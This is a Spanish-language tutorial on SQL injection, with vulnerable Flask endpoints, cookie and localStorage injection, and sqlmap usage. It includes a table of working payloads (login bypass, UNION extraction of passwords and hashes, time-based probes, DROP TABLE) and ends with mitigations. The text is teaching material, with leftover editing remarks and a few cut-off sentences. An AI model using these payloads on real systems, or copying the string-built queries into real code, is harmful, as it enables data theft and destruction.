SQL
ciberseguridad
pentesting
base de datos
✋ Este artículo asume que tienes un conocimiento básico sobre crear un endpoint de API usando HTTP y pasar variables ya sea como query strings o valores de formulario. También asumimos un entendimiento muy básico de SQL y cómo funciona.
La Inyección SQL es una vulnerabilidad web que permite a un atacante interferir con las consultas que un sitio web realiza a su base de datos. Puede habilitar el acceso no autorizado a datos, incluidos aquellos de carácter sensible.
La Inyección SQL ocurre cuando una aplicación no valida correctamente las entradas del usuario antes de utilizarlas en consultas SQL. Cuando la entrada del usuario se incorpora directamente en una consulta, los actores maliciosos pueden inyectar código SQL para manipular la consulta, accediendo o modificando datos no autorizados. La razón principal detrás de las vulnerabilidades de inyección SQL es la validación inadecuada o el filtrado de las entradas del usuario, lo que permite la ejecución de comandos SQL maliciosos.
Inyección SQL Clásica: Se proporciona retroalimentación directa por parte de la base de datos, lo que ayuda a los atacantes a explotar la vulnerabilidad más rápido.
Inyección SQL Ciega: No se muestran mensajes de error visibles, lo que hace más difícil su explotación. Los atacantes se basan en respuestas de verdadero/falso para inferir si la inyección fue exitosa.
A continuación, se presentan ejemplos de vulnerabilidades de inyección SQL clásica y ciega usando Python con Flask.
Aquí está el código de ejemplo para una API en Flask que contiene una vulnerabilidad de inyección SQL:
1from flask import Flask, request 2import sqlite3 3 4# Creamos un nuevo sitio web 5app = Flask(__name__) 6 7# Especificamos que el sitio web tendrá una URL en el directorio /classic, por ejemplo: misitio.com/classic 8@app.route('/classic') 9def classic_sql_injection(): 10 # la variable "id" se recibe de la URL, por ejemplo: misitio.com/classic?id=1 11 user_id = request.args.get('id') 12 13 conn = sqlite3.connect('example.db') 14 cur = conn.cursor() 15 # Aquí está la vulnerabilidad, la variable user_id podría contener cualquier valor, incluidas instrucciones SQL. 16 query = f"SELECT * FROM users WHERE id = {user_id}" # Código vulnerable 17 cur.execute(query) 18 result = cur.fetchone() 19 conn.close() 20 21 if result: 22 return f"Usuario encontrado: {result}" 23 return "Usuario no encontrado" 24 25if __name__ == "__main__": 26 app.run(debug=True)
Un atacante puede manipular el parámetro id
con el siguiente valor:
http://tu-sitio-web.com/classic?id=1 OR 1=1
Esto devolverá todos los usuarios porque la consulta se convierte en:
1SELECT * FROM users WHERE id = 1 OR 1=1;
1@app.route('/blind') 2def blind_sql_injection(): 3 user_id = request.args.get('id') 4 conn = sqlite3.connect('example.db') 5 cur = conn.cursor() 6 query = f"SELECT * FROM users WHERE id = {user_id} AND name='John'" # Código vulnerable 7 cur.execute(query) 8 result = cur.fetchone() 9 conn.close() 10 11 if result: 12 return "El usuario existe" 13 return "El usuario no existe"
La inyección SQL ciega funciona sin salida directa. Por ejemplo, si un atacante quiere verificar si un usuario existe:
http://localhost:5000/blind?id=1 AND 1=1
Esto no revelará los datos directamente, pero permite inferir si el resultado es "El usuario existe"
o "El usuario no existe"
.
Las siguientes categorías pueden ser ciegas o clásicas:
Un atacante fuerza a la base de datos a generar un error que revela detalles sobre el esquema de la base de datos.
Ejemplo:
http://ejemplo.com/page?id=1' AND 1=CONVERT(int, 'test')
El mensaje de error de la base de datos podría filtrar información valiosa sobre el tipo de datos o la estructura.
Las consultas de unión permiten a los atacantes combinar los resultados de dos consultas diferentes.
Ejemplo:
http://ejemplo.com/page?id=1 UNION SELECT username, password FROM users
Esto recupera el contenido de la tabla users
.
No se muestran mensajes de error, pero un atacante puede inferir el resultado de las consultas a través de condiciones verdadero/falso.
Ejemplo:
http://ejemplo.com/page?id=1 AND 1=1 -- Verdadero, la página se carga normalmente
http://ejemplo.com/page?id=1 AND 1=2 -- Falso, comportamiento diferente
El atacante puede explotar retrasos de tiempo para inferir el éxito de sus consultas.
Ejemplo:
http://ejemplo.com/page?id=1 AND IF(1=1, SLEEP(5), 0)
Puedes agregar una sección en el artículo que aborde la inyección SQL a través de cookies y localStorage. Aquí te mostramos cómo podrías incorporarla en el contenido existente:
Además de inyectar SQL malicioso a través de cadenas de consulta y valores de formulario, los atacantes también pueden explotar mecanismos de almacenamiento de datos inseguros como cookies y localStorage. Estos mecanismos a menudo son utilizados por aplicaciones web para almacenar información relacionada con la sesión o preferencias del usuario, pero si los datos almacenados se utilizan de manera insegura en consultas SQL, puede llevar a vulnerabilidades de inyección.
Supongamos que tienes una aplicación web que almacena el ID del usuario en una cookie y usa este ID para recuperar datos de la base de datos. Aquí hay un ejemplo vulnerable en Flask:
1from flask import Flask, request 2import sqlite3 3 4app = Flask(__name__) 5 6@app.route('/cookie') 7def cookie_sql_injection(): 8 user_id = request.cookies.get('user_id') # Obtener ID de usuario de la cookie 9 conn = sqlite3.connect('example.db') 10 cur = conn.cursor() 11 12 query = f"SELECT * FROM users WHERE id = {user_id}" # Código vulnerable 13 cur.execute(query) 14 result = cur.fetchone() 15 conn.close() 16 17 if result: 18 return f"Usuario encontrado: {result}" 19 return "Usuario no encontrado" 20 21if __name__ == "__main__": 22 app.run(debug=True)
En este ejemplo, el user_id
almacenado en la cookie se usa directamente en la consulta SQL sin una sanitización adecuada. Un atacante puede modificar la cookie en las herramientas de desarrollador del navegador e inyectar código SQL.
Explotando la vulnerabilidad:
El atacante podría manipular la cookie user_id
para inyectar una consulta SQL maliciosa:
user_id=1 OR 1=1;
Esto modificará la consulta a:
1SELECT * FROM users WHERE id = 1 OR 1=1;
Como resultado, todos los usuarios serán recuperados de la base de datos y se podrían filtrar datos sensibles.
LocalStorage es un mecanismo de almacenamiento basado en el navegador que permite a las aplicaciones web almacenar datos en el lado del cliente. Si una aplicación recupera datos de localStorage y los utiliza directamente en consultas SQL sin validación, esto puede generar vulnerabilidades de inyección SQL.
En una aplicación JavaScript frontend, el user_id
podría recuperarse de localStorage y pasarse como parte de una solicitud HTTP a la API de Flask:
1// Simulación de código vulnerable en el frontend 2let 3 4 userId = localStorage.getItem("user_id"); 5fetch(`/localstorage?user_id=${userId}`) 6 .then(response => response.text()) 7 .then(data => console.log(data));
Los atacantes pueden fácilmente manipular los datos de localStorage
a través de las herramientas de desarrollador del navegador:
1localStorage.setItem("user_id", "1 OR 1=1");
Esto permitiría un ataque de inyección SQL similar al ejemplo de las cookies.
Los payloads de inyección SQL son entradas específicas creadas por atacantes para manipular consultas SQL en aplicaciones vulnerables. Estos payloads explotan debilidades en el manejo de la entrada del usuario y pueden resultar en la exfiltración de datos, manipulación de la base de datos o acceso no autorizado. A continuación, se muestran algunos tipos comunes de payloads de inyección SQL, categorizados por su propósito o técnica:
Tipo de Payload | Payload de Inyección SQL | Descripción |
---|---|---|
Bypass de Autenticación | ' OR 1=1 -- | Omite el inicio de sesión haciendo que la condición sea siempre verdadera. |
Extraer Datos | ' UNION SELECT username, password FROM users -- | Recupera nombres de usuario y contraseñas de la tabla users utilizando la palabra clave UNION . |
Inyección Basada en Errores | 1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) -- | Fuerza un error para revelar el nombre de la base de datos y detalles de su estructura. |
Inyección Basada en Unión | ' UNION SELECT null, null, database(), null -- | Devuelve el nombre actual de la base de datos utilizando una consulta UNION . |
Inyección Ciega Basada en Tiempo | 1' AND IF(1=1, SLEEP(5), 0) -- | Retrasa la respuesta 5 segundos si la condición es verdadera (útil para inyección SQL ciega). |
Inyección Ciega Basada en Booleanos | 1' AND 1=1 -- | Esto evalúa como verdadero y la página se carga normalmente. Utilizado para deducir el comportamiento de la base de datos. |
Extraer Nombres de Columnas | ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- | Recupera todos los nombres de las columnas de la tabla users . |
Inyección con Comentarios | 1'; DROP TABLE users -- | Elimina la tabla users terminando la consulta y agregando una instrucción SQL maliciosa. |
Consultas Apiladas (MySQL) | 1'; INSERT INTO users (username, password) VALUES ('hacker', '12345') -- | Ejecuta dos consultas: una regular y una maliciosa (insertando un nuevo usuario). |
Extraer Versión de MySQL | ' UNION SELECT @@version, null, null -- | Recupera la versión de MySQL usando @@version . |
Verificar Usuario de la Base de Datos | ' UNION SELECT user(), null, null -- | Devuelve el usuario actual de la base de datos. |
Extraer Todos los Nombres de Bases de Datos | ' UNION SELECT schema_name FROM information_schema.schemata -- | Recupera los nombres de todas las bases de datos en el servidor. |
Recuperar Hashes de Contraseñas | ' UNION SELECT username, password FROM mysql.user -- | Recupera nombres de usuario y hashes de contraseñas de la tabla user de MySQL. |
Inyección Ciega (Verdadero) | 1' AND 1=1 -- | Inyección ciega basada en booleanos. La consulta siempre devuelve verdadero. |
Inyección Ciega (Falso) | 1' AND 1=2 -- | Inyección ciega basada en booleanos. La consulta devolverá falso, útil para deducir la estructura de la base de datos. |
Al usar estos payloads y entender cómo funciona cada uno, los atacantes pueden manipular consultas de bases de datos de diversas formas, dependiendo de la vulnerabilidad de la aplicación y la base de datos subyacente. Sin embargo, para prevenir estos ataques, todas las entradas deben manejarse de manera segura usando sentencias preparadas y validación adecuada de entradas.
Puedes realizar pruebas automáticas de inyección SQL utilizando diversas herramientas diseñadas para identificar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Estas herramientas ayudan a automatizar el proceso de prueba, detección e incluso explotación de posibles fallos de inyección SQL.
Las pruebas automáticas de inyección SQL son una manera poderosa de identificar rápidamente vulnerabilidades en aplicaciones web. Herramientas como SQLMap, OWASP ZAP, Burp Suite y otras pueden escanear eficientemente en busca de fallos de inyección SQL y ayudar a garantizar que tus aplicaciones web sean seguras. Sin embargo, aunque las herramientas automatizadas son altamente efectivas, es esencial complementarlas con pruebas manuales y prácticas de codificación segura para garantizar una cobertura completa.
Aquí hay una visión general de cómo realizar pruebas automáticas de inyección SQL y algunas herramientas comúnmente utilizadas:
SQLMap es una herramienta de código abierto altamente automatizada que prueba y explota vulnerabilidades de inyección SQL. Soporta una amplia gama de bases de datos (MySQL, PostgreSQL, Oracle, SQL Server, etc.) y puede realizar técnicas de inyección complejas como inyecciones ciegas basadas en tiempo, inyecciones basadas en unión, y más.
Comando simple para escanear una URL en busca de inyección SQL:
1sqlmap -u "http://ejemplo.com/index.php?id=1"
SQLMap probará automáticamente y explotará posibles inyecciones SQL.
No necesitas especificar explícitamente los nombres de las variables como id
para que SQLMap funcione. SQLMap está diseñado para identificar y probar automáticamente todos los parámetros de la cadena de consulta (como id=1
en este caso) en busca de vulnerabilidades de inyección SQL.
Sin embargo, si deseas que SQLMap se concentre en un parámetro específico (como id
) e ignore otros, puedes usar la opción -p
para especificar explícitamente el parámetro que deseas probar. Por ejemplo:
1sqlmap -u "http://ejemplo.com/index.php?id=1&name=John" -p id
En este caso, SQLMap solo probará el parámetro id
en busca de inyección SQL, ignorando el parámetro name
. Si no usas la opción -p
, SQLMap probará todos los parámetros (id
y name
).
OWASP ZAP es un escáner de seguridad de aplicaciones web que incluye pruebas de inyección SQL como parte de su escaneo automatizado. Es ampliamente utilizado para probar aplicaciones web y es fácil de usar para principiantes.
a solicitudes HTTP y modifica entradas para probar vulnerabilidades de inyección.
Aquí tienes un ejemplo de cómo ejecutar SQLMap para una prueba automática de inyección SQL:
Ejecuta SQLMap contra una URL de destino:
1sqlmap -u "http://ejemplo.com/index.php?id=1"
Este comando comenzará a probar el parámetro URL id=1
en busca de vulnerabilidades de inyección SQL.
Si la URL es vulnerable, SQLMap detectará la inyección y mostrará detalles sobre el tipo de inyección.
SQLMap también se puede utilizar para extraer información de la base de datos:
1sqlmap -u "http://ejemplo.com/index.php?id=1" --dbs
Este comando recuperará una lista de bases de datos del objetivo.
Para volcar el contenido de una tabla específica, puedes ejecutar:
1sqlmap -u "http://ejemplo.com/index.php?id=1" -D nombre_base_de_datos -T nombre_tabla --dump
Usar Sentencias Preparadas (también conocidas como consultas parametrizadas): En lugar de insertar directamente la entrada del usuario en las consultas SQL, usa sentencias preparadas para vincular de forma segura los parámetros a las consultas.
Ejemplo:
1query = "SELECT * FROM users WHERE id = ?" 2cur.execute(query, (user_id,))
Validación de Entrada: Valida el tipo, longitud y formato de las entradas del usuario antes de procesarlas en consultas. Rechaza cualquier entrada que no cumpla con los patrones esperados.
ORMs (Mapeo Objeto-Relacional): Usar ORMs como SQLAlchemy en Python abstrae las consultas SQL en bruto y previene la inyección por diseño.
Procedimientos Almacenados: Usa procedimientos almacenados en lugar de consultas SQL dinámicas para interacciones críticas con la base de datos.
Manejo de Errores: Evita que los errores de la base de datos se muestren a los usuarios, ya que pueden filtrar información valiosa sobre el sistema.
'
, "
, y ;
para evitar la manipulación de consultas.